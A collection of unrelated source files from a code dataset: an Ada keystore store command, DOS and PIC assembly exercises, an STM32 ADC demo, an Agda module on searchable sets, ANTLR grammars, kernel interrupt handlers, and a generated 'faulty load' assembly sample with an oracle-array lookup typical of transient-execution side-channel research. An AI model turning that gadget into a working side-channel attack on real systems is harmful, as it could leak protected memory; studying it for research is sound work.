Args : in Argument_List'Class;
Context : in out Context_Type) is
pragma Unreferenced (Name);
function Accept_File (Ent : in Keystore.Tools.Directory_Entry_Type) return Boolean;
procedure Insert_File (Name : in String);
procedure Insert_Directory (Name : in String);
procedure Insert_Standard_Input (Name : in String);
function Accept_File (Ent : in Keystore.Tools.Directory_Entry_Type) return Boolean is
begin
Ada.Text_IO.Put_Line (Ada.Directories.Full_Name (Ent));
return True;
end Accept_File;
procedure Insert_File (Name : in String) is
File : Util.Streams.Files.File_Stream;
begin
File.Open (Mode => Ada.Streams.Stream_IO.In_File,
Name => Name);
Context.Wallet.Set (Name => Ada.Directories.Simple_Name (Name),
Kind => Keystore.T_FILE,
Input => File);
end Insert_File;
procedure Insert_Directory (Name : in String) is
begin
Keystore.Tools.Store (Wallet => Context.Wallet,
Path => Name,
Prefix => Ada.Directories.Simple_Name (Name) & '/',
Pattern => "*",
Filter => Accept_File'Access);
end Insert_Directory;
procedure Insert_Standard_Input (Name : in String) is
Input : Util.Streams.Raw.Raw_Stream;
begin
Input.Initialize (File => Util.Systems.Os.STDIN_FILENO);
Context.Wallet.Set (Name => Name,
Kind => Keystore.T_BINARY,
Input => Input);
end Insert_Standard_Input;
begin
-- Open keystore with workers because we expect possibly big data.
Context.Open_Keystore (Args, Use_Worker => True);
if Command.Use_Stdin then
if Context.First_Arg > Args.Get_Count then
AKT.Commands.Log.Error (-("missing name to store the standard input"));
raise Error;
end if;
Insert_Standard_Input (Args.Get_Argument (Context.First_Arg));
else
for I in Context.First_Arg .. Args.Get_Count loop
declare
Name : constant String := Args.Get_Argument (I);
begin
if not Ada.Directories.Exists (Name) then
AKT.Commands.Log.Error (-("'{0}' does not exist"), Name);
raise Error;
elsif Ada.Directories.Kind (Name) = Ada.Directories.Ordinary_File then
Insert_File (Name);
elsif Ada.Directories.Kind (Name) = Ada.Directories.Directory then
Insert_Directory (Name);
else
AKT.Commands.Log.Error (-("'{0}' is not a regular file nor a directory"), Name);
raise Error;
end if;
end;
end loop;
end if;
end Execute;
-- ------------------------------
-- Setup the command before parsing the arguments and executing it.
-- ------------------------------
procedure Setup (Command : in out Command_Type;
Config : in out GNAT.Command_Line.Command_Line_Configuration;
Context : in out Context_Type) is
package GC renames GNAT.Command_Line;
begin
Drivers.Command_Type (Command).Setup (Config, Context);
GC.Define_Switch (Config => Config,
Output => Command.Use_Stdin'Access,
Switch => "--",
Help => -("Use the standard input to read the content"));
end Setup;
end AKT.Commands.Store;
|
Source/Data.asm | AAKMakes/ASM-projects | 0 | 81974 | <reponame>AAKMakes/ASM-projects<gh_stars>0
;
; ASM -- National Computer Camps
;
; === STACK SEGMENT ===
MyStack segment stack
DB 64 dup('12345678')
MyStack endS
; === DATA SEGMENT ===
MyData segment
prompt DB "Which letter? (0-25): ","$"
alphabet DB "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
MyData endS
; === CODE SEGMENT ===
MyCode segment ; Sets up the segment names for
Assume CS:MyCode,DS:MyData ; the code and data segments.
; === INCLUDE DIRECTIVES ===
include CONIO.INC
; === PROCEDURES ===
Main PROC ; Main procedure
Start:
MOV AX, MyData ; Setup data segment;
MOV DS, AX
MOV AH,9
LEA DX,DS:prompt ; Let DS:DX = offset of "prompt" within DS.
INT 21h ; Prompt the user for the number of a letter.
CALL InputDecWord ; Input number (1-26) into AX.
ADD AX, 1
MOV CX,AX
DEC CX ; CX = offset of letter within "alphabet" (0-25)
ADD CX,OFFSET DS:alphabet ; CX += offset of "alphabet" within DS
MOV SI,CX ; DI = offset to letter within DS
MOV BL,[SI] ; BL = value of letter (byte at DS:DI)
MOV AH,2
MOV DL,BL
INT 21h ; Print BL (value of letter).
MOV AH, 4Ch ; This section of code
XOR AL, AL ; closes the program
INT 21h ; and returns to DOS.
Main ENDP
MyCode endS
End Start |
arch/ARM/STM32/driver_demos/demo_adc_polling/src/demo_adc_temperature_polling.adb | rocher/Ada_Drivers_Library | 192 | 27157 | ------------------------------------------------------------------------------
-- --
-- Copyright (C) 2015-2016, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- This program demonstrates reading the internal temperature sensor value
-- from an ADC unit, using polling. This temperature can be used to calibrate
-- the ADC results because those results vary with the internal device
-- temperature. Note that this is not an external (ambient air) reading.
-- Note that you will likely need to reset the board manually after loading.
with Last_Chance_Handler; pragma Unreferenced (Last_Chance_Handler);
with STM32.Board; use STM32.Board;
with STM32.Device; use STM32.Device;
with HAL; use HAL;
with STM32.ADC; use STM32.ADC;
with STM32.GPIO; use STM32.GPIO;
with LCD_Std_Out;
procedure Demo_ADC_Temperature_Polling is
All_Regular_Conversions : constant Regular_Channel_Conversions :=
(1 => (Channel => Temperature_Sensor.Channel,
Sample_Time => Sample_144_Cycles)); -- needs 10 micros minimum
V_Sense : Float;
-- the "sensed voltage", ie the counts returned by the ADC conversion,
-- after converting to float
Temperature : Float;
-- the computed temperature
V_Sense_At_25_Degrees : constant := 0.76;
-- Per the F429 and F405/7 datasheets, at 25 degrees Celcius the sensed
-- voltage will be approx 0.76V, but this is only estimated by the
-- manufacturer.
-- See the F429xx datasheet, section 6.3.22, table 82, pg 159
V_Ref : constant Float := Float (ADC_Supply_Voltage) / 1000.0; -- ie 3.3
-- Reference voltage used by the ADC unit, same as Vdd. See section 5.1.2
-- of the datasheet for the F40x MCUs, for example.
Max_Count : constant := 4096.0; -- for 12-bit conversion resolution
V_At_25_Degrees : constant := (V_Sense_At_25_Degrees / V_Ref) * Max_Count;
Avg_Slope : constant := 2.5;
-- Per the F429 and F405/7 datasheets, the average slope is 2.5mV per
-- degree C.
-- See the F429xx datasheet, section 6.3.22, pg 159.
-- For use, see the RM, section 13.10, pg 411.
Successful : Boolean;
Timed_Out : exception;
procedure Print (X, Y : Natural; Value : UInt32; Suffix : String := "");
-----------
-- Print --
-----------
procedure Print (X, Y : Natural; Value : UInt32; Suffix : String := "") is
Value_Image : constant String := Value'Img;
begin
LCD_Std_Out.Put (X, Y, Value_Image (2 .. Value_Image'Last) & Suffix & " ");
end Print;
begin
Initialize_LEDs;
Enable_Clock (Temperature_Sensor.ADC.all);
Reset_All_ADC_Units;
Configure_Common_Properties
(Mode => Independent,
Prescalar => PCLK2_Div_2,
DMA_Mode => Disabled,
Sampling_Delay => Sampling_Delay_5_Cycles);
Configure_Unit
(Temperature_Sensor.ADC.all,
Resolution => ADC_Resolution_12_Bits,
Alignment => Right_Aligned);
Configure_Regular_Conversions
(Temperature_Sensor.ADC.all,
Trigger => Software_Triggered,
Continuous => False,
Enable_EOC => True,
Conversions => All_Regular_Conversions);
Enable (ADC_1);
loop
Start_Conversion (Temperature_Sensor.ADC.all);
Poll_For_Status (Temperature_Sensor.ADC.all, Regular_Channel_Conversion_Complete, Successful);
if not Successful then
raise Timed_Out;
end if;
V_Sense := Float (Conversion_Value (Temperature_Sensor.ADC.all));
Print (0, 0, UInt32 (V_Sense));
Temperature := ((V_Sense - V_At_25_Degrees) / Avg_Slope) + 25.0;
-- see the RM, section 13.10, pg 411
Print (0, 24, UInt32 (Temperature), " degrees C");
Green_LED.Toggle;
end loop;
end Demo_ADC_Temperature_Polling;
|
programs/oeis/123/A123109.asm | karttu/loda | 1 | 88269 | ; A123109: a(0) = 1, a(1) = 3, a(n) = 3*a(n-1) + 3 for n > 1.
; 1,3,12,39,120,363,1092,3279,9840,29523,88572,265719,797160,2391483,7174452,21523359,64570080,193710243,581130732,1743392199,5230176600,15690529803,47071589412,141214768239,423644304720,1270932914163,3812798742492,11438396227479,34315188682440,102945566047323,308836698141972,926510094425919,2779530283277760,8338590849833283
mov $1,3
pow $1,$0
mul $1,3
trn $1,5
div $1,2
add $1,1
|
Constructive/Searchable.agda | rei1024/agda-misc | 3 | 14341 | <filename>Constructive/Searchable.agda
------------------------------------------------------------------------
-- Searchable set
------------------------------------------------------------------------
-- http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.127.3062&rep=rep1&type=pdf
-- http://www.cs.bham.ac.uk/~mhe/papers/omniscient-2011-07-06.pdf
{-# OPTIONS --without-K --safe --exact-split #-}
module Constructive.Searchable where
-- agda-stdlib
open import Data.Bool
open import Data.Empty
open import Data.Product as Prod
open import Data.Sum as Sum
open import Function.Base
open import Relation.Binary.PropositionalEquality
import Function.Equivalence as Eqv -- TOOD use new function bundle
-- agda-misc
open import Constructive.Axiom
open import Constructive.Axiom.Properties.Base
open import Constructive.Axiom.Properties.Bool
open import Constructive.Common
open import Constructive.Combinators
module SearchModule {a} {A : Set a} (searchable : Searchable-Bool A) where
ε : ((A → Bool) → A)
ε = proj₁ searchable
ε-correct : (P : A → Bool) → P (ε P) ≡ true → (x : A) → P x ≡ true
ε-correct = proj₂ searchable
-- Lemma 2.1
searchable-Bool⇒lpo-Bool-Alt : ∀ {a} {A : Set a} → Searchable-Bool A → LPO-Bool-Alt A
searchable-Bool⇒lpo-Bool-Alt (ε , ε-correct) P with P (ε P) | inspect P (ε P)
... | false | [ P[εP]≡false ] = inj₁ (ε P , P[εP]≡false)
... | true | [ P[εP]≡true ] = inj₂ (ε-correct P P[εP]≡true)
searchable-Bool⇒inhabited : ∀ {a} {A : Set a} → Searchable-Bool A → Inhabited A
searchable-Bool⇒inhabited searchable-Bool = (proj₁ searchable-Bool) λ _ → true
-- Inhabited ∧ LPO-Bool-Alt => Searchable-Bool
inhabited∧lpo-Bool-Alt⇒ε : ∀ {a} {A : Set a} → Inhabited A → LPO-Bool-Alt A → (A → Bool) → A
inhabited∧lpo-Bool-Alt⇒ε inhabited lpo-Bool-Alt P with lpo-Bool-Alt P
... | inj₁ (x , _) = x
... | inj₂ _ = inhabited
inhabited∧lpo-Bool-Alt⇒ε-correct :
∀ {a} {A : Set a} (i : Inhabited A) (lpo-Bool-Alt : LPO-Bool-Alt A) (P : A → Bool) →
P ((inhabited∧lpo-Bool-Alt⇒ε i lpo-Bool-Alt) P) ≡ true → (x : A) → P x ≡ true
inhabited∧lpo-Bool-Alt⇒ε-correct inhabited lpo-Bool-Alt P with lpo-Bool-Alt P
... | inj₁ (x , Px≡false) =
λ Px≡true → ⊥-elim $ false≢true $ trans (sym Px≡false) Px≡true
where
false≢true : false ≢ true
false≢true ()
... | inj₂ ∀x→Px≡true = λ _ → ∀x→Px≡true
inhabited∧lpo-Bool-Alt⇒searchable-Bool :
∀ {a} {A : Set a} → Inhabited A → LPO-Bool-Alt A → Searchable-Bool A
inhabited∧lpo-Bool-Alt⇒searchable-Bool inhabited lpo-Bool-Alt =
inhabited∧lpo-Bool-Alt⇒ε inhabited lpo-Bool-Alt ,
inhabited∧lpo-Bool-Alt⇒ε-correct inhabited lpo-Bool-Alt
-- Searchable-Bool <=> Searchable
searchable-Bool⇒searchable : ∀ {a p} {A : Set a} →
Searchable-Bool A → Searchable A p
searchable-Bool⇒searchable {a} {p} {A} searchable-Bool =
inhabited∧lpo⇒searchable inhabited lpo
where
inhabited = searchable-Bool⇒inhabited searchable-Bool
lpo : LPO A p
lpo = lpo-Bool⇒lpo p $ lpo-Bool-Alt⇒lpo-Bool $
searchable-Bool⇒lpo-Bool-Alt searchable-Bool
searchable⇒searchable-Bool : ∀ {a p} {A : Set a} →
Searchable A p → Searchable-Bool A
searchable⇒searchable-Bool searchable =
inhabited∧lpo-Bool-Alt⇒searchable-Bool inhabited lpo-Bool-Alt
where
inhabited = searchable⇒inhabited searchable
lpo-Bool-Alt = lpo-Bool⇒lpo-Bool-Alt $ lpo⇒lpo-Bool $ searchable⇒lpo searchable
-- Lemma 2.2
module Lemma2-2 {a} {A : Set a} (searchable-Bool : Searchable-Bool A) where
open SearchModule searchable-Bool
module _ {P : A → Bool} where
∃x→Px≡false→P[εP]≡false : (∃ λ x → P x ≡ false) → P (ε P) ≡ false
∃x→Px≡false→P[εP]≡false e =
x≢true⇒x≡false $ contraposition (ε-correct P)
(∃¬P→¬∀P (Prod.map₂ x≡false⇒x≢true e))
where
x≡false⇒x≢true : ∀ {x} → x ≡ false → x ≢ true
x≡false⇒x≢true {false} refl ()
x≢true⇒x≡false : ∀ {x} → x ≢ true → x ≡ false
x≢true⇒x≡false {false} neq = refl
x≢true⇒x≡false {true } neq = ⊥-elim $ neq refl
∃x→Px≡false⇔P[εP]≡false : (∃ λ x → P x ≡ false) Eqv.⇔ P (ε P) ≡ false
∃x→Px≡false⇔P[εP]≡false =
Eqv.equivalence ∃x→Px≡false→P[εP]≡false λ eq → ε P , eq
-- E_X
Exist : (A → Bool) → Bool
Exist P = P (ε P)
Exist[P]≡false⇔∃x→Px≡false :
{P : A → Bool} → Exist P ≡ false Eqv.⇔ (∃ λ x → P x ≡ false)
Exist[P]≡false⇔∃x→Px≡false = Eqv.sym ∃x→Px≡false⇔P[εP]≡false
open Lemma2-2
Exhaustible : ∀ {a} → Set a → Set a
Exhaustible A = Σ ((A → Bool) → Bool) λ ∀K →
(P : A → Bool) → ∀K P ≡ true → ∀ x → P x ≡ true
|
src/main/java/parser/Formula.g4 | mbreemhaar/extensioncalculator | 1 | 2060 | <reponame>mbreemhaar/extensioncalculator
grammar Formula;
/*
parser rules
*/
formula
: '(' f=formula ')' #parens
| NEG f=formula #negation
| l=formula CONJ r=formula #conjunction
| l=formula DISJ r=formula #disjunction
| a=ATOM #atom
;
/*
Lexer rules
*/
fragment LOWERCASE : [a-z] ;
fragment UPPERCASE : [A-Z] ;
ATOM : (LOWERCASE | UPPERCASE)+ ;
CONJ : '&' ;
DISJ : '|' ;
NEG : '~' ;
WS : [ \r\t\u000C\n]+ -> skip; |
src/firmware-tests/Platform/Main/Poll/FirstPollInChainTest.asm | pete-restall/Cluck2Sesame-Prototype | 1 | 165219 | #include "Platform.inc"
#include "FarCalls.inc"
#include "PollChain.inc"
#include "TestFixture.inc"
radix decimal
extern pollForWork
extern POLL_FIRST
global pollForWorkAddressHigh
global pollForWorkAddressLow
global pollFirstAddressHigh
global pollFirstAddressLow
udata
pollForWorkAddressHigh res 1
pollForWorkAddressLow res 1
pollFirstAddressHigh res 1
pollFirstAddressLow res 1
FirstPollInChainTest code
global testArrange
testArrange:
storePollForWorkAddressHigh:
banksel pollForWorkAddressHigh
movlw high(pollForWork)
movwf pollForWorkAddressHigh
storePollForWorkAddressLow:
banksel pollForWorkAddressLow
movlw low(pollForWork)
movwf pollForWorkAddressLow
storePollFirstAddressHigh:
banksel pollFirstAddressHigh
movlw high(POLL_FIRST)
movwf pollFirstAddressHigh
storePollFirstAddressLow:
banksel pollFirstAddressLow
movlw low(POLL_FIRST)
movwf pollFirstAddressLow
testAct:
pagesel testArrange
testAssert:
.assert "pollForWorkAddressHigh == pollFirstAddressHigh, 'Expected first poll in chain to be POLL_FIRST.'"
.assert "pollForWorkAddressLow == pollFirstAddressLow, 'Expected first poll in chain to be POLL_FIRST.'"
return
end
|
Kernel/asm/getTime.asm | shipupi/SO-TP2 | 0 | 101291 | GLOBAL getTime
section .text
getTime:
push rbp
mov rbp, rsp
push rbx
push r12
push r13
push r15
cli ; deshabilita interrupciones enmascarables
xor rax, rax
mov al, 0x8B ; select status register B, and disable NMI
out 70h, al
in al, 71h
or al, 0x04 ; poneme en uno este bit (Setting up the binary date/time, BCD is the default)
out 71h, al ; piso la configuracion vieja para tener la que cambie
xor rax, rax
mov rax, rdi
movzx rax, al ; con in out se opera con 1 byte
out 70h, al ; le digo que quiero
in al, 71h ; me lo pone en al
movzx rax, al
sti ; enable enmaskarable interrupts
pop r15
pop r13
pop r12
pop rbx
mov rsp, rbp
pop rbp
ret
;le seteo la configuracion que quiero
|
programs/oeis/238/A238055.asm | neoneye/loda | 22 | 240965 | ; A238055: a(n) = (13*3^n-1)/2.
; 6,19,58,175,526,1579,4738,14215,42646,127939,383818,1151455,3454366,10363099,31089298,93267895,279803686,839411059,2518233178,7554699535,22664098606,67992295819,203976887458,611930662375,1835791987126,5507375961379,16522127884138
mov $1,3
pow $1,$0
mul $1,13
div $1,2
mov $0,$1
|
Kernel/asm/interrupts.asm | inesmarca/2TP_SO | 0 | 15129 |
GLOBAL _cli
GLOBAL _sti
GLOBAL picMasterMask
GLOBAL picSlaveMask
GLOBAL haltcpu
GLOBAL _hlt
GLOBAL _irq00Handler
GLOBAL _irq01Handler
GLOBAL _irq02Handler
GLOBAL _irq03Handler
GLOBAL _irq04Handler
GLOBAL _irq05Handler
GLOBAL _irq80Handler
GLOBAL _exception0Handler
GLOBAL _exception6Handler
EXTERN irqDispatcher
EXTERN exceptionDispatcher
EXTERN sysHandler
SECTION .text
%macro pushState 0
push rax
push rbx
push rcx
push rdx
push rbp
push rdi
push rsi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
%endmacro
%macro popState 0
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rsi
pop rdi
pop rbp
pop rdx
pop rcx
pop rbx
pop rax
%endmacro
%macro pushReg 0
push rbx
push rcx
push rdx
push rbp
push rdi
push rsi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
%endmacro
%macro popReg 0
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rsi
pop rdi
pop rbp
pop rdx
pop rcx
pop rbx
%endmacro
%macro irqHandlerMaster 1
pushState
mov rdi, %1 ; pasaje de parametro
mov rsi, rsp ; pasaje del stack frame
call irqDispatcher
mov rsp, rax ; cambio el rsp al que me retorno el scheduler
; signal pic EOI (End of Interrupt)
mov al, 20h
out 20h, al
popState
iretq
%endmacro
%macro sysCallHandler 0
push rbp
mov rbp, rsp
pushReg
push rax
mov rax, [rbp + 56]
push rax
call sysHandler
add rsp, 2*8
push rax
; signal pic EOI (End of Interrupt)
mov al, 20h
out 20h, al
pop rax
popReg
mov rsp, rbp
pop rbp
iretq
%endmacro
%macro exceptionHandler 1
pushState
mov rdi, %1 ; pasaje de parametro
mov rsi, rsp ; puntero del stack para poder retornar
call exceptionDispatcher
popState
iretq
%endmacro
_hlt:
sti
hlt
ret
_cli:
cli
ret
_sti:
sti
ret
picMasterMask:
push rbp
mov rbp, rsp
mov ax, di
out 21h,al
pop rbp
retn
picSlaveMask:
push rbp
mov rbp, rsp
mov ax, di ; ax = mascara de 16 bits
out 0A1h,al
pop rbp
retn
;8254 Timer (Timer Tick)
_irq00Handler:
irqHandlerMaster 0
;Keyboard
_irq01Handler:
irqHandlerMaster 1
;Cascade pic never called
_irq02Handler:
irqHandlerMaster 2
;Serial Port 2 and 4
_irq03Handler:
irqHandlerMaster 3
;Serial Port 1 and 3
_irq04Handler:
irqHandlerMaster 4
;USB
_irq05Handler:
irqHandlerMaster 5
;INT 80h
_irq80Handler:
sysCallHandler
;Zero Division Exception
_exception0Handler:
exceptionHandler 0
;Invalid Opcode Exception
_exception6Handler:
exceptionHandler 6
haltcpu:
cli
hlt
ret
SECTION .bss
aux resq 1 |
Ada/inc/Problem_43.ads | Tim-Tom/project-euler | 0 | 21667 | package Problem_43 is
procedure Solve;
end Problem_43;
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_178.asm | ljhsiun2/medusa | 9 | 83978 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %rbp
push %rbx
push %rsi
lea addresses_normal_ht+0x3ba9, %rsi
nop
nop
dec %r13
mov $0x6162636465666768, %rbp
movq %rbp, %xmm2
and $0xffffffffffffffc0, %rsi
vmovntdq %ymm2, (%rsi)
nop
nop
nop
nop
sub %rbx, %rbx
pop %rsi
pop %rbx
pop %rbp
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r14
push %r8
push %rbx
// Faulty Load
lea addresses_UC+0xeda9, %r8
clflush (%r8)
nop
nop
nop
nop
xor %r10, %r10
mov (%r8), %r12w
lea oracles, %r14
and $0xff, %r12
shlq $12, %r12
mov (%r14,%r12,1), %r12
pop %rbx
pop %r8
pop %r14
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_UC', 'congruent': 0}}
<gen_prepare_buffer>
{'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 32, 'type': 'addresses_normal_ht', 'congruent': 9}, 'OP': 'STOR'}
{'37': 21829}
37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
test/Succeed/fol-theorems/PropositionalFunction2.agda | asr/apia | 10 | 12659 | <gh_stars>1-10
------------------------------------------------------------------------------
-- Testing the translation of the propositional functions
------------------------------------------------------------------------------
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
{-# OPTIONS --no-universe-polymorphism #-}
{-# OPTIONS --without-K #-}
module PropositionalFunction2 where
------------------------------------------------------------------------------
postulate
D : Set
P : D → Set
a : D
_∨_ : Set → Set → Set
A : D → Set
A x = P x ∨ P x
{-# ATP definition A #-}
-- In this case the propositional function uses predicates and logical
-- constants.
postulate foo : A a → A a
{-# ATP prove foo #-}
|
test/interaction/Issue2377.agda | shlevy/agda | 1,989 | 682 | <filename>test/interaction/Issue2377.agda
-- Andreas, 2017-01-01, issue #2377
-- Warn about useless `public` in `open` statements.
-- {-# OPTIONS -v scope.decl:70 #-}
-- Warning #1
open import Agda.Builtin.Nat public
import Agda.Builtin.Bool as B
-- Warning #2
open B public
module _ where
open import Agda.Builtin.Equality public -- no warning
-- Warning #3
test-let : Set₁
test-let = let open B public in Set
-- Warning #4
test-letm : Set₁
test-letm = let open module C = B public in Set
|
src/bastet/syntax/parser/grammar/Leila.g4 | emmableu/Bastet | 0 | 7180 | grammar Leila;
import LeilaLiterals;
// A program has a name and is composed of a list of actors.
// The term 'actor' is used to describe one entity in the Scratch world.
program : fileType ident actorDefinitionList EOF ;
// We allow to mark files as either 'program' or program 'module' (typically used for libraries).
// This has no further semantic implications.
fileType : 'program' | 'module' ;
// Actors in a list of actors are separated by whitespace
actorDefinitionList : actorDefinition* ;
// An actor has a mode and an unique identifier.
// It is composed of a set of resources, a set of variables,
// a list of variable initializers, a set of procedure declarations
// and definitions, and a list of scripts.
// Along to the (user defined) set of variables, an actor has
// *attributes* that influence its representation and behavior.
actorDefinition : actorMode ident inheritsFrom 'begin' actorComponentsDefinition 'end' ;
inheritsFrom : 'is' ident (',' ident)* | ;
// Actors in the mode `role` are abstract: they only provide
// functionality to inherit and are not instantiated.
actorMode : 'actor' # ConcreteActorMode | 'role' # ActorRoleMode ;
actorComponentsDefinition : resourceList declarationStmtList setStmtList methodDefinitionList scriptList ;
// The Scratch programming language is typically used to
// write small games that take produce graphics and sounds as output.
// We use the term 'resources' to denote all images and sounds that
// define the static UI content to compose a Scratch program.
// The type 'image' is used both for the *backdrops* of the stage
// and for the *costumes* of the sprites.
resource : resourceType ident resourceLocator ;
// We support image resources and sound resources
resourceType : 'image' # ImageResource | 'sound' # SoundResource ;
// A list of resources is separated by whitespaces.
resourceList : resource* ;
// Declaration of a variable. Depending on the position of the
// declaration statement, the variable is either local to the actor
// or local to the current stack of a script execution.
declarationStmt : 'declare' ident 'as' type # DeclareVariable ;
// A list of variable declarations.
declarationStmtList : declarationStmt* ;
// The list of datatypes that are allowed for the declaration
// of variables and attributes.
type :
'list' 'of' type # ListType
| 'actor' # ActorType
| primitiveType # Primitive
;
// 'int' is deprecated (use 'integer' instead)
primitiveType:
('int' | 'integer') # IntegerType
| 'float' # FloatingPointType
| 'boolean' # BooleanType
| 'string' # StringType
| 'enum' '[' expressionListPlain ']' # EnumType
;
// A script is the central unit that of a Scratch program that
// defines the behavior (and with it the control and data flow).
script : 'script' scriptIdent 'on' event 'do' scriptAttributeList stmtList ;
scriptIdent : ident # NamedScriptIdent | # AnonymousScriptIdent ;
// A list of scripts.
scriptList : script* ;
// Attributes that can be assigned to a script
scriptAttributeList : scriptAttribute* ;
scriptAttribute : 'restart' # RestartScript ;
// Scratch programs are written in an event-driven manner.
// The different events that can trigger the execution
// of a script are defined by the non-terminal `event`.
event :
'never' # NeverEvent
| 'bootstrap' # BootstrapEvent
| 'bootstrap' 'finished' # AfterBootstrapMonitoringEvent
